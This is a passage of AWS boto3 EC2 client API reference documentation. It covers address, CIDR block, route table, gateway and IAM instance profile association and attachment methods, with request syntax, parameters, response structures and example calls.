Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Elastic Compute Cloud User Guide_ . + +You must specify either the IPv6 addresses or the IPv6 address count in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssignIpv6Addresses) + +**Request Syntax** + +response = client.assign_ipv6_addresses( + Ipv6AddressCount=123, + Ipv6Addresses=[ + 'string', + ], + NetworkInterfaceId='string' +) + +Parameters + +* **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to the network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. +* **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses to be assigned to the network interface. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(string) --_ +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssignedIpv6Addresses': [ + 'string', + ], + 'NetworkInterfaceId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AssignedIpv6Addresses** _(list) --_ + + The IPv6 addresses assigned to the network interface. + + * _(string) --_ + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + +assign_private_ip_addresses(kwargs_) + +Assigns one or more secondary private IP addresses to the specified network interface. + +You can specify one or more specific secondary IP addresses, or you can specify the number of secondary IP addresses to be automatically assigned within the subnet's CIDR block range. The number of secondary IP addresses that you can assign to an instance varies by instance type. For information about instance types, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about Elastic IP addresses, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you move a secondary private IP address to another network interface, any Elastic IP address that is associated with the IP address is also moved. + +Remapping an IP address is an asynchronous operation. When you move an IP address from one network interface to another, check network/interfaces/macs/mac/local-ipv4s in the instance metadata to confirm that the remapping is complete. + +You must specify either the IP addresses or the IP address count in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssignPrivateIpAddresses) + +**Request Syntax** + +response = client.assign_private_ip_addresses( + AllowReassignment=True|False, + NetworkInterfaceId='string', + PrivateIpAddresses=[ + 'string', + ], + SecondaryPrivateIpAddressCount=123 +) + +Parameters + +* **AllowReassignment** (_boolean_) -- Indicates whether to allow an IP address that is already assigned to another network interface or instance to be reassigned to the specified network interface. +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface. + +* **PrivateIpAddresses** (_list_) -- + + One or more IP addresses to be assigned as a secondary private IP address to the network interface. You can't specify this parameter when also specifying a number of secondary IP addresses. + + If you don't specify an IP address, Amazon EC2 automatically selects an IP address within the subnet range. + + * _(string) --_ +* **SecondaryPrivateIpAddressCount** (_integer_) -- The number of secondary IP addresses to assign to the network interface. You can't specify this parameter when also specifying private IP addresses. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaceId': 'string', + 'AssignedPrivateIpAddresses': [ + { + 'PrivateIpAddress': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **AssignedPrivateIpAddresses** _(list) --_ + + The private IP addresses assigned to the network interface. + + * _(dict) --_ + + Describes the private IP addresses assigned to a network interface. + + * **PrivateIpAddress** _(string) --_ + + The private IP address assigned to the network interface. + + +**Examples** + +This example assigns the specified secondary private IP address to the specified network interface. + +response = client.assign_private_ip_addresses( + NetworkInterfaceId='eni-e5aa89a3', + PrivateIpAddresses=[ + '10.0.0.82', + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example assigns two secondary private IP addresses to the specified network interface. Amazon EC2 automatically assigns these IP addresses from the available IP addresses in the CIDR block range of the subnet the network interface is associated with. + +response = client.assign_private_ip_addresses( + NetworkInterfaceId='eni-e5aa89a3', + SecondaryPrivateIpAddressCount=2, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +associate_address(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateAddress) + +**Request Syntax** + +response = client.associate_address( + AllocationId='string', + InstanceId='string', + PublicIp='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) + +Parameters + +* **AllocationId** (_string_) -- [EC2-VPC] The allocation ID. This is required for EC2-VPC. +* **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +* **PublicIp** (_string_) -- The Elastic IP address to associate with the instance. This is required for EC2-Classic. +* **AllowReassociation** (_boolean_) -- [EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +* **PrivateIpAddress** (_string_) -- [EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +**Examples** + +This example associates the specified Elastic IP address with the specified instance in a VPC. + +response = client.associate_address( + AllocationId='eipalloc-64d5890a', + InstanceId='i-0b263919b6498b123', +) + +print(response) + +Expected Output: + +{ + 'AssociationId': 'eipassoc-2bebb745', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example associates the specified Elastic IP address with the specified network interface. + +response = client.associate_address( + AllocationId='eipalloc-64d5890a', + NetworkInterfaceId='eni-1a2b3c4d', +) + +print(response) + +Expected Output: + +{ + 'AssociationId': 'eipassoc-2bebb745', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example associates an Elastic IP address with an instance in EC2-Classic. + +response = client.associate_address( + InstanceId='i-07ffe74c7330ebf53', + PublicIp='198.51.100.0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +associate_client_vpn_target_network(kwargs_) + +Associates a target network with a Client VPN endpoint. A target network is a subnet in a VPC. You can associate multiple subnets from the same VPC with a Client VPN endpoint. You can associate only one subnet in each Availability Zone. We recommend that you associate at least two subnets to provide Availability Zone redundancy. + +If you specified a VPC when you created the Client VPN endpoint or if you have previous subnet associations, the specified subnet must be in the same VPC. To specify a subnet that's in a different VPC, you must first modify the Client VPN endpoint ( ModifyClientVpnEndpoint ) and change the VPC that's associated with it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateClientVpnTargetNetwork) + +**Request Syntax** + +response = client.associate_client_vpn_target_network( + ClientVpnEndpointId='string', + SubnetId='string', + ClientToken='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **SubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of the subnet to associate with the Client VPN endpoint. + +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string', + 'Status': { + 'Code': 'associating'|'associated'|'association-failed'|'disassociating'|'disassociated', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + The unique ID of the target network association. + + * **Status** _(dict) --_ + + The current state of the target network association. + + * **Code** _(string) --_ + + The state of the target network association. + + * **Message** _(string) --_ + + A message about the status of the target network association, if applicable. + + +associate_dhcp_options(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateDhcpOptions) + +**Request Syntax** + +response = client.associate_dhcp_options( + DhcpOptionsId='string', + VpcId='string', + DryRun=True|False +) + +Parameters + +* **DhcpOptionsId** (_string_) -- + + **[REQUIRED]** + + The ID of the DHCP options set, or default to associate no DHCP options with the VPC. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example associates the specified DHCP options set with the specified VPC. + +response = client.associate_dhcp_options( + DhcpOptionsId='dopt-d9070ebb', + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example associates the default DHCP options set with the specified VPC. + +response = client.associate_dhcp_options( + DhcpOptionsId='default', + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +associate_enclave_certificate_iam_role(kwargs_) + +Associates an AWS Identity and Access Management (IAM) role with an AWS Certificate Manager (ACM) certificate. This enables the certificate to be used by the ACM for Nitro Enclaves application inside an enclave. For more information, see [AWS Certificate Manager for Nitro Enclaves](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave-refapp.html) in the _AWS Nitro Enclaves User Guide_ . + +When the IAM role is associated with the ACM certificate, places the certificate, certificate chain, and encrypted private key in an Amazon S3 bucket that only the associated IAM role can access. The private key of the certificate is encrypted with an AWS-managed KMS customer master (CMK) that has an attached attestation-based CMK policy. + +To enable the IAM role to access the Amazon S3 object, you must grant it permission to call s3:GetObject on the Amazon S3 bucket returned by the command. To enable the IAM role to access the AWS KMS CMK, you must grant it permission to call kms:Decrypt on AWS KMS CMK returned by the command. For more information, see [Grant the role permission to access the certificate and encryption key](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave-refapp.html#add-policy) in the _AWS Nitro Enclaves User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateEnclaveCertificateIamRole) + +**Request Syntax** + +response = client.associate_enclave_certificate_iam_role( + CertificateArn='string', + RoleArn='string', + DryRun=True|False +) + +Parameters + +* **CertificateArn** (_string_) -- The ARN of the ACM certificate with which to associate the IAM role. +* **RoleArn** (_string_) -- The ARN of the IAM role to associate with the ACM certificate. You can associate up to 16 IAM roles with an ACM certificate. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CertificateS3BucketName': 'string', + 'CertificateS3ObjectKey': 'string', + 'EncryptionKmsKeyId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CertificateS3BucketName** _(string) --_ + + The name of the Amazon S3 bucket to which the certificate was uploaded. + + * **CertificateS3ObjectKey** _(string) --_ + + The Amazon S3 object key where the certificate, certificate chain, and encrypted private key bundle are stored. The object key is formatted as follows: certificate_arn /role_arn . + + * **EncryptionKmsKeyId** _(string) --_ + + The ID of the AWS KMS CMK used to encrypt the private key of the certificate. + + +associate_iam_instance_profile(kwargs_) + +Associates an IAM instance profile with a running or stopped instance. You cannot associate more than one IAM instance profile with an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateIamInstanceProfile) + +**Request Syntax** + +response = client.associate_iam_instance_profile( + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceId='string' +) + +Parameters + +* **IamInstanceProfile** (_dict_) -- + + **[REQUIRED]** + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'IamInstanceProfileAssociation': { + 'AssociationId': 'string', + 'InstanceId': 'string', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'State': 'associating'|'associated'|'disassociating'|'disassociated', + 'Timestamp': datetime(2015, 1, 1) + } +} + +**Response Structure** + +* _(dict) --_ + + * **IamInstanceProfileAssociation** _(dict) --_ + + Information about the IAM instance profile association. + + * **AssociationId** _(string) --_ + + The ID of the association. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Id** _(string) --_ + + The ID of the instance profile. + + * **State** _(string) --_ + + The state of the association. + + * **Timestamp** _(datetime) --_ + + The time the IAM instance profile was associated with the instance. + + +**Examples** + +This example associates an IAM instance profile named admin-role with the specified instance. + +response = client.associate_iam_instance_profile( + IamInstanceProfile={ + 'Name': 'admin-role', + }, + InstanceId='i-123456789abcde123', +) + +print(response) + +Expected Output: + +{ + 'IamInstanceProfileAssociation': { + 'AssociationId': 'iip-assoc-0e7736511a163c209', + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::123456789012:instance-profile/admin-role', + 'Id': 'AIPAJBLK7RKJKWDXVHIEC', + }, + 'InstanceId': 'i-123456789abcde123', + 'State': 'associating', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +associate_route_table(kwargs_) + +Associates a subnet in your VPC or an internet gateway or virtual private gateway attached to your VPC with a route table in your VPC. This association causes traffic from the subnet or gateway to be routed according to the routes in the route table. The action returns an association ID, which you need in order to disassociate the route table later. A route table can be associated with multiple subnets. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateRouteTable) + +**Request Syntax** + +response = client.associate_route_table( + DryRun=True|False, + RouteTableId='string', + SubnetId='string', + GatewayId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. + +* **SubnetId** (_string_) -- The ID of the subnet. +* **GatewayId** (_string_) -- The ID of the internet gateway or virtual private gateway. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string', + 'AssociationState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failed', + 'StatusMessage': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + The route table association ID. This ID is required for disassociating the route table. + + * **AssociationState** _(dict) --_ + + The state of the association. + + * **State** _(string) --_ + + The state of the association. + + * **StatusMessage** _(string) --_ + + The status message, if applicable. + + +**Examples** + +This example associates the specified route table with the specified subnet. + +response = client.associate_route_table( + RouteTableId='rtb-22574640', + SubnetId='subnet-9d4a7b6', +) + +print(response) + +Expected Output: + +{ + 'AssociationId': 'rtbassoc-781d0d1a', + 'ResponseMetadata': { + '...': '...', + }, +} + +associate_subnet_cidr_block(kwargs_) + +Associates a CIDR block with your subnet. You can only associate a single IPv6 CIDR block with your subnet. An IPv6 CIDR block must have a prefix length of /64. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateSubnetCidrBlock) + +**Request Syntax** + +response = client.associate_subnet_cidr_block( + Ipv6CidrBlock='string', + SubnetId='string' +) + +Parameters + +* **Ipv6CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv6 CIDR block for your subnet. The subnet must have a /64 prefix length. + +* **SubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of your subnet. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6CidrBlockAssociation': { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + 'SubnetId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Ipv6CidrBlockAssociation** _(dict) --_ + + Information about the IPv6 CIDR block association. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + +associate_transit_gateway_multicast_domain(kwargs_) + +Associates the specified subnets and transit gateway attachments with the specified transit gateway multicast domain. + +The transit gateway attachment must be in the available state before you can add a resource. Use [DescribeTransitGatewayAttachments](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeTransitGatewayAttachments.html) to see the state of the attachment. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateTransitGatewayMulticastDomain) + +**Request Syntax** + +response = client.associate_transit_gateway_multicast_domain( + TransitGatewayMulticastDomainId='string', + TransitGatewayAttachmentId='string', + SubnetIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **TransitGatewayAttachmentId** (_string_) -- The ID of the transit gateway attachment to associate with the transit gateway multicast domain. +* **SubnetIds** (_list_) -- + + The IDs of the subnets to associate with the transit gateway multicast domain. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Associations': { + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceOwnerId': 'string', + 'Subnets': [ + { + 'SubnetId': 'string', + 'State': 'pendingAcceptance'|'associating'|'associated'|'disassociating'|'disassociated'|'rejected'|'failed' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **Associations** _(dict) --_ + + Information about the transit gateway multicast domain associations. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The type of resource, for example a VPC attachment. + + * **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the resource. + + * **Subnets** _(list) --_ + + The subnets associated with the multicast domain. + + * _(dict) --_ + + Describes the subnet association with the transit gateway multicast domain. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **State** _(string) --_ + + The state of the subnet association. + + +associate_transit_gateway_route_table(kwargs_) + +Associates the specified attachment with the specified transit gateway route table. You can associate only one route table with an attachment. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateTransitGatewayRouteTable) + +**Request Syntax** + +response = client.associate_transit_gateway_route_table( + TransitGatewayRouteTableId='string', + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Association': { + 'TransitGatewayRouteTableId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'State': 'associating'|'associated'|'disassociating'|'disassociated' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Association** _(dict) --_ + + The ID of the association. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **State** _(string) --_ + + The state of the association. + + +associate_vpc_cidr_block(kwargs_) + +Associates a CIDR block with your VPC. You can associate a secondary IPv4 CIDR block, an Amazon-provided IPv6 CIDR block, or an IPv6 CIDR block from an IPv6 address pool that you provisioned through bring your own IP addresses ([BYOIP](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-byoip.html) ). The IPv6 CIDR block size is fixed at /56. + +You must specify one of the following in the request: an IPv4 CIDR block, an IPv6 pool, or an Amazon-provided IPv6 CIDR block. + +For more information about associating CIDR blocks with your VPC and applicable restrictions, see [VPC and Subnet Sizing](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html#VPC_Sizing) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateVpcCidrBlock) + +**Request Syntax** + +response = client.associate_vpc_cidr_block( + AmazonProvidedIpv6CidrBlock=True|False, + CidrBlock='string', + VpcId='string', + Ipv6CidrBlockNetworkBorderGroup='string', + Ipv6Pool='string', + Ipv6CidrBlock='string' +) + +Parameters + +* **AmazonProvidedIpv6CidrBlock** (_boolean_) -- Requests an Amazon-provided IPv6 CIDR block with a /56 prefix length for the VPC. You cannot specify the range of IPv6 addresses, or the size of the CIDR block. +* **CidrBlock** (_string_) -- An IPv4 CIDR block to associate with the VPC. +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **Ipv6CidrBlockNetworkBorderGroup** (_string_) -- + + The name of the location from which we advertise the IPV6 CIDR block. Use this parameter to limit the CIDR block to this location. + + You must set AmazonProvidedIpv6CidrBlock to true to use this parameter. + + You can have one IPv6 CIDR block association per network border group. + +* **Ipv6Pool** (_string_) -- The ID of an IPv6 address pool from which to allocate the IPv6 CIDR block. +* **Ipv6CidrBlock** (_string_) -- + + An IPv6 CIDR block from the IPv6 address pool. You must also specify Ipv6Pool in the request. + + To let Amazon choose the IPv6 CIDR block for you, omit this parameter. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6CidrBlockAssociation': { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + }, + 'NetworkBorderGroup': 'string', + 'Ipv6Pool': 'string' + }, + 'CidrBlockAssociation': { + 'AssociationId': 'string', + 'CidrBlock': 'string', + 'CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + 'VpcId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Ipv6CidrBlockAssociation** _(dict) --_ + + Information about the IPv6 CIDR block association. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + * **CidrBlockAssociation** _(dict) --_ + + Information about the IPv4 CIDR block association. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + +attach_classic_link_vpc(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = client.attach_classic_link_vpc( + DryRun=True|False, + Groups=[ + 'string', + ], + InstanceId='string', + VpcId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + * _(string) --_ +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of an EC2-Classic instance to link to the ClassicLink-enabled VPC. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of a ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_internet_gateway(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = client.attach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + VpcId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +**Examples** + +This example attaches the specified Internet gateway to the specified VPC. + +response = client.attach_internet_gateway( + InternetGatewayId='igw-c0a643a9', + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +attach_network_interface(kwargs_) + +Attaches a network interface to an instance. + +See also: [AWS API 